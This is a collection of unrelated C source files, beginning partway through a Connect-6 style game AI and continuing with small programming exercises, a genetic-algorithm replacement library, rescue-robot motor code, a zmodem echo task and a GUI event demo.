D2count++; else break;} //Scan down left for (i = row, j = col; (i < n)&&(j >= 0); i++, j--) { if (board[i][j] == c) D2count++; else break;} D2count--; return D2count;} bool winTest( char c) { //Keep counters on each direction, define win condition int i, j, Count1, Count2, Count3, Count4; bool win = false; //Run through every element and check win condition for (i = 0; i < n && !win ; i++) { for (j = 0; j < n && !win; j++) { //[0] is horiz, [1] is vert, [2] is Tleft to Bright diag, [3] is other diag. if (board[i][j] == c) { Count1 = horizCount(i, j, c); if (Count1 > 5) win = true; Count2 = vertCount(i, j, c); if (Count2 > 5) win = true; Count3 = diag1Count(i, j, c); if (Count3 > 5) win = true; Count4 = diag2Count(i, j, c); if (Count4 > 5) win = true; } } } //Return win condition (true or false) return win; } int findLongest(int row, int col) { //Finds longest string of a colour a spot char c = board[row][col]; int count[4] = {0, 0, 0, 0}; //Also define a variable to hold the largest string int largest; count[0] += horizCount(row, col, c); count[1] += vertCount(row, col, c); if (count[0] >= count[1]) largest = count[0]; else largest = count[1]; count[2] += diag1Count(row, col, c); if (count[2] > largest) largest = count[2]; count[3] += diag2Count(row, col, c); if (count[3] > largest) largest = count[3]; return largest;} // ---------------- Game Strat Functions ------------ void AIFirstmove() // Hard code most optimal and central first move { if (AI == 'B'){ move[0] = n/2; move[1] = n/2;} else { int i, j; for (i = 0; i < n; i++){ for (j = 0; j < n; j++) { if (board[i][j] == 'B'){ int L = Scanleft(i, j, 'U'); int R = Scanright(i, j, 'U'); int U = Scanup(i, j, 'U'); int D = Scandown(i, j, 'U'); if (L > R){ if (U > D){ move[0] = i-1; move[1] = j-1;} else if (D > U){ move[0] = i+1; move[1] = j-1;} else{ move[0] = i; move[1] = j-1;}} else if (R > L){ if (U > D){ move[0] = i-1; move[1] = j+1;} else if (D > U){ move[0] = i+1; move[1] = j+1;} else{ move[0] = i; move[1] = j+1;}} else{ if (U >= D){ move[0] = i-1; move[1] = j;} else{ move[0] = i+1; move[1] = j;}} } } } } return;} bool Instantwin(char c) // Look for wins in one move { int row, col, threat; for (row = 0; row < n; row++){ for (col = 0; col < n; col++){ if (board[row][col] == 'U'){ Addmove(c, row, col); int length = findLongest(row, col); if (length >= 6) { Clearmove(row, col); move[0] = row; move[1] = col; return true;} Clearmove(row, col); } } } return false;} int Score(int row, int col, char c) // Score the square provided { int Hscore = 0, Vscore = 0, D1score = 0, D2score = 0, Hbound = 0, Vbound = 0, D1bound = 0, D2bound = 0; char d; if (c == AI) d = Human; else d = AI; int i, j, largest; bool space = false; //Horizontal, Scan left for (i = col; i >= 0; i--) { if ((space == true)&&(board[row][i] == 'U')) break; if (board[row][i] == 'U') space = true; else if (board[row][i] == c) Hscore++; if ((i == 0)||(board[row][i] == d)){ Hbound++; Hscore--; break;} } //Scan right for (i = col; i < n; i++) { if ((space == true)&&(board[row][i] == 'U')) break; if (board[row][i] == 'U') space = true; else if (board[row][i] == c) Hscore++; if ((i == n-1)||(board[row][i] == d)){ Hbound++; Hscore--; break;} } Hscore--; if (Hbound == 2) Hscore = 0; largest = Hscore; //Vertical space = false; //Scan up for (i = row; i >= 0; i--) { if ((space == true)&&(board[i][col] == 'U')) break; if (board[i][col] == 'U') space = true; else if (board[i][col] == c) Vscore++; if ((i == 0)||(board[i][col] == d)) { Vbound++; Vscore--; break;} } //Scan down for (i = row; i < n; i++) { if ((space == true)&&(board[i][col] == 'U'))break; if (board[i][col] == 'U') space = true; else if (board[i][col] == c) Vscore++; if ((i == n-1)||(board[i][col] == d)) { Vbound++; Vscore--; break;} } Vscore--; if (Vbound == 2) Vscore = 0; if (Vscore > largest) largest = Vscore; //Diag1 space = false; //Scan TL for (i = row, j = col; (i >= 0)&&(j >= 0); i--, j--) { if ((space == true)&&(board[i][j] == 'U')) break; if (board[i][j] == 'U') space = true; else if (board[i][j] == c) D1score++; if ((i == 0)||(j == 0)||(board[i][j] == d)) { D1bound++; D1score--; break;} } //Scan BR for (i = row, j = col; (i < n)&&(j < n); i++, j++) { if ((space == true)&&(board[i][j] == 'U')) break; if (board[i][j] == 'U') space = true; else if (board[i][j] == c) D1score++; if ((i == n-1)||(j == n-1)||(board[i][j] == d)) { D1bound++; D1score--; break;} } D1score--; if (D1bound == 2) D1score = 0; if (D1score > largest) largest = D1score; //Diag2 space = false; //Scan TR for (i = row, j = col; (i >= 0)&&(j < n); i--, j++) { if ((space == true)&&(board[i][j] == 'U')) break; if (board[i][j] == 'U') space = true; else if (board[i][j] == c) D2score++; if ((i == 0)||(j == n-1)||(board[i][j] == d)) { D2bound++; D2score--; break;} } //Scan BL for (i = row, j = col; (i < n) && (col >= 0); i++, j--) { if ((space == true)&&(board[i][j] == 'U')) break; if (board[i][j] == 'U') space = true; else if (board[i][j] == c) D2score++; if ((i == n-1)||(j == 0)||(board[i][j] == d)) { D2bound++; D2score--; break;} } D2score--; if (D2bound == 2) D2score = 0; if (D2score > largest) largest = D2score; return largest; } int ForcedAtk(bool who, int layer); int ForcedDef(bool who, int x, int y, int basescore, int layer) { check = clock(); /*T = (((float)check - (float)start)/CLOCKS_PER_SEC); if ((T >= 0.5)&&(offense == false)) return 1; else if ((T >= 0.3)&&(offense == true)) return 1;*/ //Returns 0 for will be beaten, 1 for defendable //Who is true or false indicating defender. True = AI, false = Human int row, col, threat, c, d; if (who == true){ c = AI; d = Human;} else { c = Human; d = AI;} for (row = max(0, x-5); row < min(n, x+6); row++){ for (col = max(0, y-5); col < min(n, y+6); col++) { if (board[row][col] == 'U') { Addmove(c, row, col); int score = Score(x, y, d); if (score < basescore) { threat = ForcedAtk(!who, layer+1); if (threat == 1){ Clearmove(row, col); if(layer == 0) { move[0] = row; move[1] = col; } return 1;} } Clearmove(row, col); } } } return 0; } int ForcedAtk(bool who, int layer) { check = clock(); /*T = (((float)check - (float)start)/CLOCKS_PER_SEC); if ((T >= 0.5)&&(offense == false)) return 1; else if ((T >= 0.3)&&(offense == true)) return 1; if (layer == 6){ return 1;}*/ //Returns 0 for winning move, 1 for not a forced win //Who is true or false indicating attacker. True = AI, false = human int row, col, threat, c; if (who == true) c = AI; else c = Human; for (row = 0; row < n; row++){ for (col = 0; col < n; col++){ if (board[row][col] == 'U'){ Addmove(c, row, col); int length = findLongest(row, col); if (length >=6) { Clearmove(row, col); return 0;} int score = Score(row, col, c); if (score >= 4) { threat = ForcedDef(!who, row, col, score, layer); if (threat == 0) { Clearmove(row, col); return 0;} } Clearmove(row, col); } } } return 1; } void Offense(spot *order) /* General offensive strat if a forcing winning move can't be found in time. Looks to play a move that will create sequences of 3. The idea is if enough sequence 3s are created, eventually in a future move a forced win might be available */ { int S2count = 0, S1count = 0, i, score, row, col; for (i = 0; i < n*n; i++) { row = order[i].x; col = order[i].y; if (board[row][col] == 'U') { Addmove(AI, row, col); score = Score(row, col, AI); if (score == 3) { move[0] = row; move[1] = col; Clearmove(row, col); return;} if ((score == 2)&&(S2count == 0)) { move2[0] = row; move2[1] = col; S2count++;} if ((score <= 1)&&(S1count == 0)) { move3[0] = row; move3[1] = col; S1count++;} Clearmove(row, col); } } if (S2count != 0 ) { move[0] = move2[0]; move[1] = move2[1]; return;} else { move[0] = move3[0]; move[1] = move3[1]; return;} return; } // -----------------------------Main Code---------------------------------------- int main(void) { move = (int*)malloc(2*sizeof(int)); move[0] = 0; move[1] = 0; move2 = (int*)malloc(2*sizeof(int)); move2[0] = 0; move2[1] = 0; move3 = (int*)malloc(2*sizeof(int)); move3[0] = 0; move3[1] = 0; int row, col, Hrow, Hcol, dummy; bool win = false, Bwin = false, Wwin = false; printf("Enter board dimensions (n): "); scanf("%d", &n); //Setting up the structs and reorganized searching pattern midpoint = n/2; spot order[n*n]; int i, j, k = 0; for (i = 0; i < n; i++) { for (j = 0; j < n; j++) { order[k].x = i; order[k].y = j; k++; } } qsort(order, n*n, sizeof(spot), manh_d); for (i = 0; i < n*n; i++) printf("%d, %d \n", order[i].x, order[i].y); //Allocating memory to the 2D array board = (char**)malloc(n*sizeof(char*)+1); for (row = 0; row < n; row++) board[row] = (char*)malloc(n*sizeof(char)+1); //Setting up the entire board. Each spot is untaken, or 'U' for (row = 0; row < n; row++) { for (col = 0; col < n; col ++) board[row][col] = 'U';} printBoard(); printf("Computer playing B or W? (B moves first): "); scanf(" %c", &AI); if (AI == 'B') Human = 'W'; else Human = 'B'; int moveslimit = n*n; int movescounter = 0; bool kill = false, death = false; int Defend, Force; if (AI == 'B') { while (movescounter < moveslimit) { //Computer's move //start = clock(); if (movescounter == 0){ AIFirstmove(); Addmove('B', move[0], move[1]);} else { while (true) { //Test for instant win and loss depthwarning = false; kill = Instantwin(AI); if (kill == true){ Addmove('B', move[0], move[1]); break;} death = Instantwin(Human); if (death == true){ Addmove('B', move[0], move[1]); break;} Defend = ForcedAtk(false, 0); if (Defend == 0){ ForcedDef(true, Hrow, Hcol, Score(Hrow, Hcol, 'W'), 0); Addmove('B', move[0], move[1]); break;} Force = ForcedAtk(true, 0); if (Force == 0){ Addmove('B', move[0], move[1]); break;} else { Offense(order); Addmove('B', move[0], move[1]); break;} } } movescounter++; printf("Computer lays a stone at ROW %d COL %d.\n", move[0], move[1]); printBoard(); Bwin = winTest('B'); if ((Bwin)||(movescounter == moveslimit)) break; //Human's move printf("Lay down a stone (ROW COL): \n"); scanf(" %d %d", &Hrow, &Hcol); //Check to see if spot is taken bool check = spotCheck(Hrow, Hcol); while (!check) { printf("That square is occupied.\n"); printf("Lay down a stone (ROW COL): \n"); scanf(" %d %d", &Hrow, &Hcol); check = spotCheck(Hrow, Hcol);} Addmove('W', Hrow, Hcol); movescounter++; printBoard(); Wwin = winTest('W'); if (Wwin) break; } } else { while (movescounter < moveslimit) { //Human's move printf("Lay down a stone (ROW COL): \n"); scanf(" %d %d", &Hrow, &Hcol); //Check to see if spot is taken bool check = spotCheck(Hrow, Hcol); while (!check) { printf("That square is occupied.\n"); printf("Lay down a stone (ROW COL): \n"); scanf(" %d %d", &Hrow, &Hcol); check = spotCheck(Hrow, Hcol);} Addmove('B', Hrow, Hcol); movescounter++; printBoard(); Bwin = winTest('B'); if ((Bwin)||(movescounter == moveslimit)) break; //Computer's move //start = clock(); if (movescounter < 2) { AIFirstmove(); Addmove('W', move[0], move[1]);} else { while (true) { //Test for instant win and loss depthwarning = false; kill = Instantwin(AI); if (kill == true){ Addmove('W', move[0], move[1]); break;} death = Instantwin(Human); if (death == true){ Addmove('W', move[0], move[1]); break;} Defend = ForcedAtk(false, 0); if (Defend == 0){ ForcedDef(true, Hrow, Hcol, Score(Hrow, Hcol, 'B'), 0); Addmove('W', move[0], move[1]); break;} Force = ForcedAtk(true, 0); if (Force == 0){ Addmove('W', move[0], move[1]); break;} else { Offense(order); Addmove('W', move[0], move[1]); break;} } } movescounter++; printf("Computer lays a stone at ROW %d COL %d.\n", move[0], move[1]); printBoard(); Wwin = winTest('W'); if (Wwin) break; } } if (Bwin) printf("Black player wins."); else if (Wwin) printf("White player wins."); else printf("Draw!"); int a; for (a = 0; a < n; a++) free(board[a]); free(move); free(move2); free(move3); free(order); return 0; }
C
#include <stdio.h> int stringcmp(char* first, char* second){ int i = 0; while( (first[i] != 0) && (second[i] != 0) ){ if(first[i] != second[i]){ return 0; } i++; } if(first[i] == second[i]){ return 1; } else { return 0; } } int main(int argc, char* argv[]){ if(argc != 3){ printf("Invalid number of arguments (2 required)\n"); return 1; } printf("These words are %s equal\n", (stringcmp(argv[1], argv[2]) ? "" : "not")); return 0; }
C
#include <stdio.h> int global_var = 142; int main() { int local_var = 5; printf("Value of global variable is %i\n", global_var); printf("Value of local variable inside function is %i\n", local_var); { int local_var = 10; printf("Value of local variable inside nested block is %i\n", local_var); } printf("Value of local variable inside function after nested block is %i\n", local_var); }
C
#include "channel.h" char* configFile = "config.conf"; void initializeChannelsAux(FILE* fp, int id); int getScheduler(char* data); int getFlow(char* data); /** * Funcion encargada de inicializar los canales con los datos leido del archivo de configuracion */ void initializeChannels() { FILE* fp = fopen(configFile, "r"); char line[100]; if (fp == NULL) { perror("Error opening the file\n"); exit(EXIT_FAILURE); } fgets(line, 100, fp); while (strcmp(line, "END") != 0) { line[strcspn(line, "\n")] = 0; if (strcmp(line, "Canal1:") == 0) { initializeChannelsAux(fp, 1); } if (strcmp(line, "Canal2:") == 0) { initializeChannelsAux(fp, 2); } if (strcmp(line, "Canal3:") == 0) { initializeChannelsAux(fp, 3); } fgets(line, 100, fp); } fclose(fp); queueInit(&channel1LeftQueue); queueInit(&channel1RightQueue); queueInit(&channel2LeftQueue); queueInit(&channel2RightQueue); queueInit(&channel3LeftQueue); queueInit(&channel3RightQueue); queueInit(&currentChannel1Ants); queueInit(&currentChannel2Ants); queueInit(&currentChannel3Ants); queueInit(&currentChannel1ActiveAnt); queueInit(&currentChannel2ActiveAnt); queueInit(&currentChannel3ActiveAnt); queueInit(&channel1LeftEndQueue); queueInit(&channel1RightEndQueue); queueInit(&channel2LeftEndQueue); queueInit(&channel2RightEndQueue); queueInit(&channel3LeftEndQueue); queueInit(&channel3RightEndQueue); queueInit(&allAnts); return; } /** * Funcion auxiliar encargada de inicializar los canales con los datos leido del archivo de configuracion * Recibe el punter del archivo y el id del canal */ void initializeChannelsAux(FILE* fp, int id) { channel_t* channel = (channel_t*) malloc(sizeof(channel_t)); if (channel == NULL) { printf("Error, no se pudo alocar memoria"); exit(EXIT_FAILURE); } char line[100]; char* data; channel->id = id; fgets(line, 100, fp); data = strtok(line, " "); data = strtok(NULL, " "); channel->scheduler = getScheduler(data); fgets(line, 100, fp); data = strtok(line, " "); data = strtok(NULL, " "); channel->flow = getFlow(data); fgets(line, 100, fp); data = strtok(line, " "); data = strtok(NULL, " "); channel->lenght = atoi(data); fgets(line, 100, fp); data = strtok(line, " "); data = strtok(NULL, " "); channel->antAmount = atoi(data); fgets(line, 100, fp); data = strtok(line, " "); data = strtok(NULL, " "); channel->time = atoi(data); fgets(line, 100, fp); data = strtok(line, " "); data = strtok(NULL, " "); channel->w = atoi(data); channel->currentW = 0; channel->sign = 0; channel->previousAntSign = 0; channel->scheduled = 1; if (id == 1) { channel->trueLenght = 250; channel1 = channel; } else if (id == 2) { channel->trueLenght = 320; channel2 = channel; } else if (id == 3) { channel->trueLenght = 450; channel3 = channel; } return; } /** * Funcion encargada de obtener el calendarizador correspondiente del archivo de texto * Recibe la cadena a comparar * Retorna el valor correspondiente del calendarizador */ int getScheduler(char* data) { data[strcspn(data, "\n")] = 0; if (strcmp(data, "RoundRobin") == 0) { return 0; } else if (strcmp(data, "Prioridad") == 0) { return 1; } else if (strcmp(data, "SJF") == 0) { return 2; } else if (strcmp(data, "FCFS") == 0) { return 3; } else { return 4; } } /** * Funcion encargada de obtener el flujo del canal correspondiente del archivo de texto * Recibe la cadena a comparar * Retorna el valor correspondiente del control de flujo */ int getFlow(char* data) { data[strcspn(data, "\n")] = 0; if (strcmp(data, "Equidad") == 0) { return 0; } else if (strcmp(data, "Letrero") == 0) { return 1; } else { return 2; } }
C
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <gmp.h> int main(int argc, char* argv[]) { mpz_t n; mpz_t m; int i; char* s; mpz_init(n); mpz_init(m); mpz_set_ui(m, 0); for (i = 1; i < 1001; i++) { mpz_set_ui(n, i); mpz_pow_ui(n, n, i); mpz_add(m, m, n); } mpz_clear(n); s = mpz_get_str(NULL, 10, m); mpz_clear(m); printf("%s\n", s + strlen(s) - 10); free(s); return 0; }
C
/******************************************************************************* * Author : Jennifer Winer * * Project : A DFG Off-Line Task Scheduler for FPGA * - The Genetic Algorithm for determining the ideal implementation * for each task's operation * * Created : May 16, 2013 * Modified : July 13, 2013 ******************************************************************************/ /******************************************************************************* * FILE NAME : replacement.c * * PURPOSE : A library of replacement policies ******************************************************************************/ #include <stdio.h> #include <stdlib.h> #include "replacement.h" Population * replaceAll(Population * original, Population * replacements){ freePopulation(original); return replacements; } Population * replaceWorst(Population * original, Population * replacements, int num_replaced){ Population * pop; int pop_size = original->size; int i, j, k; pop = malloc(sizeof(Population)); pop->size = pop_size; pop->member = malloc(sizeof(Individual) * pop_size); sortByFitness(replacements); i = j = k = 0; while(k < original->size && j < num_replaced){ if((original->member[i]).fitness <= (replacements->member[j]).fitness) duplicateIndividual(&(pop->member[k++]), &(original->member[i++])); else duplicateIndividual(&(pop->member[k++]), &(replacements->member[j++])); } for(; k < pop->size; k++) duplicateIndividual(&(pop->member[k]), &(original->member[i++])); freePopulation(original); freePopulation(replacements); return pop; } Population * retainBest(Population * original, Population * next_gen){ Population * best_pop; int i; int o, n; best_pop = malloc(sizeof(Population)); best_pop->size = original->size; best_pop->member = malloc(sizeof(Individual) * best_pop->size); sortByFitness(next_gen); o = n = 0; for(i=0; i<original->size; i++){ if((original->member[0]).fitness < (next_gen->member[n]).fitness) duplicateIndividual(&(best_pop->member[i]), &(original->member[o++])); else duplicateIndividual(&(best_pop->member[i]), &(next_gen->member[n++])); } freePopulation(original); freePopulation(next_gen); return best_pop; } // FUTURE - implement a replacement policy to replace parents instead of replace worst?
C
// ------------------------------------------------------ // ---------- Movement ----------- // ---------- Rescue Robot Code 2016 ----------- // --------- ----------- // ---------- Team: Rory W, Ines K & Joseph F ----------- // ---------- Mentor:Alex C ----------- // ------------------------------------------------------- //TODO: DEBUG LOG #ifndef __MOVEMENT #define __MOVEMENT #include "pinout.h" #include "lidar.h" #include "debug_log.h" #include "sensors.h" #define wallAhead 130.0 //distance ahead when facing a wall #define wallThreshold 40.0 // wall distance give #define tileLength 320.0 // how far the robot needs to move !! BE CAREFULL CHANGING THIS AS IT EFFECTS ALL TILE MOVEMENT !! //------------------------------------- //--------- moveMotor() ---------- //------------------------------------- void moveMotor(int motor, int dir, int spd) { int i = 1; // try 3 times then give up while ((Dynamixel.turn(motor, dir, spd) == -1) && (i <= 3)) { Dynamixel.turn(motor, dir, spd); log(VERBOSE, "MOTOR %d ERROR #%d", motor, i); i++; } } //------------------------------------- //--------- moveForward() ---------- //------------------------------------- void moveForward(int front, int back, int left, int right) { moveMotor(FMotor, RIGTH, front); moveMotor(BMotor, LEFT, back); moveMotor(LMotor, RIGTH, left); moveMotor(RMotor, LEFT, right); } //------------------------------------- //--------- moveLeft() ---------- //------------------------------------- void moveLeft(int left, int right) { moveMotor(FMotor, RIGTH, 0); moveMotor(BMotor, RIGTH, 0); moveMotor(LMotor, LEFT, left); moveMotor(RMotor, LEFT, right); } //------------------------------------- //--------- moveRight() ---------- //------------------------------------- void moveRight(int left, int right) { moveMotor(FMotor, RIGTH, 0); moveMotor(BMotor, LEFT, 0); moveMotor(LMotor, RIGTH, left); moveMotor(RMotor, RIGTH, right); } //------------------------------------- //--------- moveBackwards() ---------- //------------------------------------- void moveBackward(int front, int back, int left, int right) { moveMotor(FMotor, LEFT, front); moveMotor(BMotor, RIGTH, back); moveMotor(LMotor, LEFT, left); moveMotor(RMotor, RIGTH, right); } //------------------------------------- //--------- stopMotors() ---------- //------------------------------------- void stopMotors() { moveMotor(FMotor, RIGTH, 0); moveMotor(BMotor, RIGTH, 0); moveMotor(LMotor, RIGTH, 0); moveMotor(RMotor, RIGTH, 0); } //------------------------------------- //--------- TurnRobot() ---------- //------------------------------------- void turnRobot(int direction) { log(INFO, "TURN FUNCTION ENTERED"); log(INFO, "Direction: %d", direction); #define turnThreshold 1 #define speedMark1 20.0 #define speedMark2 40.0 int turnTimer = 0; switch (direction) { case LEFT: currentDirection -= 10; break; case RIGHT: currentDirection += 10; break; case BACKWARDS: currentDirection += 20; break; case HEAT_TURN: log(ERROR, "Heat Turn"); if(currentDirection % 10 == 0){ currentDirection += 25; log(ERROR, "Heat Turn 1 Current %f" , currentDirection); }else{ currentDirection += 15; log(ERROR, "Heat Turn 2 Current %f" , currentDirection); } break; default:break; } currentDirection = ((currentDirection + 40) % 40); log(ERROR, "Current Direction: %d", currentDirection); float targetAngle = currentDirection * 9.0; log(ERROR, "Target Angle: %f", targetAngle); updateAccel(); switch (int(currentDirection)) { case 0: log(INFO, "CASE 0" ); while ((accelX < (360.0 - turnThreshold) && accelX > turnThreshold) && digitalRead(pause_button) == HIGH && turnTimer < 50) { turnTimer++; updateAccel(); log(INFO, "Accel: %f", accelX); if (accelX > 180) { log(DEBUG, "LESS THEN 180"); if (accelX > 360 - speedMark1) { log(DEBUG, "Greater THEN 340"); moveLeft(120, 120); } else if (accelX > 360 - speedMark2) { log(DEBUG, "LESS THEN 320"); moveLeft(300, 300); } else { log(DEBUG, "ELSE "); moveLeft(600, 600); } log(DEBUG, "Moving LEFT"); } else { if (accelX < speedMark1) { moveRight(120, 120); } else if (accelX < speedMark2) { moveRight(300, 300); } else { moveRight(600, 600); } log(DEBUG, "Moving RIGHT"); } } break; default: log(INFO, "CASE > 0" ); while (!(accelX < (targetAngle + turnThreshold) && accelX > (targetAngle - turnThreshold)) && digitalRead(pause_button) == HIGH && turnTimer < 50) { turnTimer++; updateAccel(); log(INFO, "Accel: %f", accelX); if (accelX < targetAngle) { if (accelX > targetAngle - speedMark1) { moveLeft(120, 120); } else if (accelX > targetAngle - speedMark2) { moveLeft(300, 300); } else { moveLeft(600, 600); } log(DEBUG, "Moving LEFT"); } else { if (accelX < targetAngle + speedMark1) { moveRight(120, 120); } else if (accelX < targetAngle + speedMark2) { moveRight(300, 300); } else { moveRight(600, 600); } log(DEBUG, "Moving RIGHT"); } } break; } if(digitalRead(pause_button) == LOW){ pause = false; } stopMotors(); log(INFO, "Ending Accel Val: %f", accelX); while (digitalRead(pause_button) == LOW){ delay(200); } Last_Lidar_Front = Last_Lidar_Back = Last_Lidar_Left = Last_Lidar_Right = Last_Lidar_Front_Left = Last_Lidar_Front_Right = Last_Lidar_Back_Right = Last_Lidar_Back_Left = 0; } //------------------------------------- //--------- touchAvoid()---------- //------------------------------------- void touchAvoid() { updateTouch(); log(ERROR, "Front touch sensor value is: %d", touchF); if (touchF == LOW){ moveBackward(100,100,100,100); log(ERROR, "Bumped wall, moving backwards"); delay(400); stopMotors(); log(ERROR, "Moved back from wall"); } log(ERROR, "BUMP FUNCTION"); } //------------------------------------- //---------tileMoveFinished()---------- //------------------------------------- void tileMoveFinished() { lidarRun(harshLoop); calculateTiles(); flashLED(25); flashLED(50); log(WARN, "Lidar Tile 1 :%f", Lidar_Front); log(WARN, "Forward Value 1 :%f", Lidar_Front); if (Lidar_Front > tileLength - wallThreshold) { // MARK ------------------------ if (Lidar_Front < (tileLength + wallAhead + wallThreshold)) { forwardTile = wallAhead + wallThreshold; // Only one tile ahead log(ERROR, "Less then one tile"); } else { forwardTile = (Tile_Forwards * tileLength) - tileLength - wallAhead; // more then one tile ahead log(ERROR, "More then One tile"); } moveTilefinished = true; } else { moveTilefinished = false; // No tiles Ahead } log(INFO, "Lidar Tile2:%f", Lidar_Front); log(INFO, "Forward Tile2:%f", forwardTile); updateTouch(); if(touchF == LOW){ moveBackward(300,300,300,300); delay(500); stopMotors(); } } //------------------------------------- //--------- moveTile() ---------- //------------------------------------- bool moveTile() { bool returnValue = false; updateTouch(); if(!onRamp()){ if(RampSeen){return false;} if (Lidar_Front <= forwardTile || ( Lidar_Front <= wallAhead && Lidar_Front > 0 ) || touchF == LOW) { log(ERROR, "Move Tile Turn Test"); turnRobot(3); if(Lidar_Front <= (forwardTile - wallThreshold)){ moveBackward(200,200,200,200); delay(200); stopMotors(); } lidarRun(1000); } if ((Lidar_Front <= forwardTile) || ( Lidar_Front <= wallAhead && Lidar_Front != 0.0 ) || touchF == LOW) { if(touchF == LOW){ moveBackward(100,100,100,100); log(WARN, "Bumped wall, moving backwards"); delay(400); stopMotors(); } returnValue = false; log(DEBUG, "A WALL INFRONT: %f . Wall Front Value : %f", Lidar_Front, forwardTile); } else { // Move forward log(DEBUG, " NO WALL INFRONT: %f . Wall Front Value: %f", Lidar_Front, forwardTile); returnValue = true; } if (Lidar_Front <= (forwardTile + 100.0)) { BASE_POWER = 150; MAX_POWER = 700; TileSide = true; } else if (Lidar_Front <= (forwardTile + 150.0)) { BASE_POWER = 300; MAX_POWER = 800; TileSide = true; }else if (Lidar_Front <= (forwardTile + 200.0)) { TileSide = true; BASE_POWER = 400; MAX_POWER = 900; } else { BASE_POWER = START_BASE_POWER; MAX_POWER = START_MAX_POWER; TileSide = false; } } else { log(WARN, "ROBOT ON RAMP Y:%f", accelY); BASE_POWER = START_BASE_POWER + 200; MAX_POWER = 1000; returnValue = true; } return returnValue; } #endif
C
#include <stdio.h> #include <stdlib.h> int main() { int n, k; if (scanf("%d", &n) && scanf("%d", &k)) { int *array = (int *)malloc(sizeof(int) * n); for (int i = 0; i < n; i++) { if (!scanf("%d", &array[i])) { exit(0); } } int *k_array = (int *)malloc(sizeof(int) * k); for (int i = 0; i < k; i++) { k_array[i] = 0; } for (int i = 0; i < n; i++) { int a = array[i]; for (int j = 0; j < k; j++) { if (k_array[j] < a) { for (int h = k-1; h > j; h--) { k_array[h] = k_array[h-1]; } k_array[j] = a; break; } } } printf("%d", k_array[k-1]); } }
C
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* ft_darray_alloc.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: micarras <[email protected]> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2019/11/13 19:14:52 by micarras #+# #+# */ /* Updated: 2019/11/14 16:36:54 by micarras ### ########.fr */ /* */ /* ************************************************************************** */ #include <stdlib.h> #include "ft_darray.h" #include "libft.h" /* ** Array::alloc ** - ** Allocates an array and its data. ** - ** _type_size_ should equal to the returned value of sizeof(T) ** - ** Returns the allocated array, ** or NULL if malloc failed. */ t_darray *ft_darray_alloc(size_t type_size) { t_darray *res; if (!(res = (t_darray *)malloc(sizeof(t_darray)))) return (NULL); ft_bzero(res, sizeof(t_darray)); res->type_size = type_size; return (ft_darray_reserve(res, 1) ? NULL : res); }
C
#include <stdlib.h> #include <stdio.h> #include "Matrix.h" int main() { Matrix* matrix = newMatrix(3, 3, (double []){ 1,2,3, 4,5,6, 7,8,9 }); Matrix* matrix2 = newMatrix(3, 1, (double []){ 1, 2, 3, }); Matrix* res; res = newMatrix_mlt(matrix, matrix2); Matrix_show(res); deleteMatrix(res); Matrix_changeComponents(matrix, (double []){ 1,2,3, 4,5,6, 7,8,9 }); Matrix_changeComponents(matrix2, (double []){ 4, 5, 6 }); res = newMatrix_mlt(matrix, matrix2);Matrix_show(res);deleteMatrix(res); Matrix_changeComponents(matrix, (double []){ 1,2,3, 4,5,6, 7,8,9 }); Matrix_changeComponents(matrix2, (double []){ 7, 8, 9 }); res = newMatrix_mlt(matrix, matrix2);Matrix_show(res);deleteMatrix(res); deleteMatrix(matrix2); matrix2 = newMatrix(3, 3, (double []){ 1,4,7, 2,5,8, 3,6,9 }); res = newMatrix_mlt(matrix, matrix2);Matrix_show(res);deleteMatrix(res); deleteMatrix(matrix2); deleteMatrix(matrix); return 0; }
C
/* echo.c * 13 June 2005 * Scott Bronson * * Conveys data between the bgio master and stdin/stdout. */ #include <stdio.h> #include <string.h> #include <unistd.h> #include <limits.h> #include <assert.h> #include "log.h" #include "bgio.h" #include "fifo.h" #include "io/io.h" #include "pipe.h" #include "task.h" #include "rztask.h" #include "zrq.h" #include "util.h" static void echo_destructor(task_spec *spec, int free_mem) { // Don't want to close stdin/stdout/stderr spec->infd = -1; spec->outfd = -1; spec->errfd = -1; // call the default destructor task_default_destructor(spec, free_mem); } static task_spec *echo_create_spec() { task_spec *spec = task_create_spec(); if(spec == NULL) { perror("allocating echo task spec"); bail(45); } log_dbg("Created echo task spec at 0x%08lX", (long)spec); spec->infd = STDIN_FILENO; spec->outfd = STDOUT_FILENO; spec->errfd = -1; // we'll ignore stderr spec->child_pid = -1; spec->destruct_proc = echo_destructor; return spec; } ///////////////// Echo Scanner // This routine is called when the zrq scanner discovers the zmodem // start sequence. static void echo_scanner_start_proc(void *refcon) { // the refcon is the master_pipe rztask_install(refcon); } // This routine is called to process all data passing over the pipe. static void echo_scanner_filter_proc(struct fifo *f, const char *buf, int size, int fd) { if(size > 0) { zrq_scan(f->refcon, buf, buf+size, f, fd); } } static void echo_scanner_destructor(task_spec *spec, int free_mem) { if(free_mem) { zrq_destroy(spec->maout_refcon); } echo_destructor(spec, free_mem); } /** An echo scanner is just the echo task but it has a zmodem * start scanner attached. When the start scanner notices a * transfer request, it fires up a receive task. */ task_spec *echo_scanner_create_spec(master_pipe *mp) { task_spec *spec = echo_create_spec(); // ensure we're not clobbering anything unexpected. assert(!spec->maout_refcon); assert(!spec->maout_proc); assert(spec->destruct_proc == echo_destructor); spec->maout_refcon = zrq_create(echo_scanner_start_proc, mp); spec->maout_proc = echo_scanner_filter_proc; spec->destruct_proc = echo_scanner_destructor; return spec; }
C
#include "acllib.h" #include <stdio.h> void mouseListener(int x,int y,int button,int event) { static int ox=0; static int oy=0; printf("x=%d,y=%d,button=%d,event=%d\n",x,y,button,event); beginPaint(); line(ox,oy,x,y); endPaint(); ox=x;oy=y; } void keyListener(int key,int event) { printf("ket=%d,event=%d\n",key,event); } void timerListener(int id) { static int cnt=0; printf("id=%d\n",id); if(id==0){ cnt++; if(cnt==5){ cancelTimer(0); } } } int Setup() { initWindow("gui",DEFAULT,DEFAULT,800,600); initConsole(); printf("hello\n"); int x; registerMouseEvent(mouseListener);//ú registerKeyboardEvent(keyListener); registerTimerEvent(timerListener); startTimer(0,500); startTimer(1,1000); beginPaint(); line(10,10,100,100); endPaint(); return 0; }
C
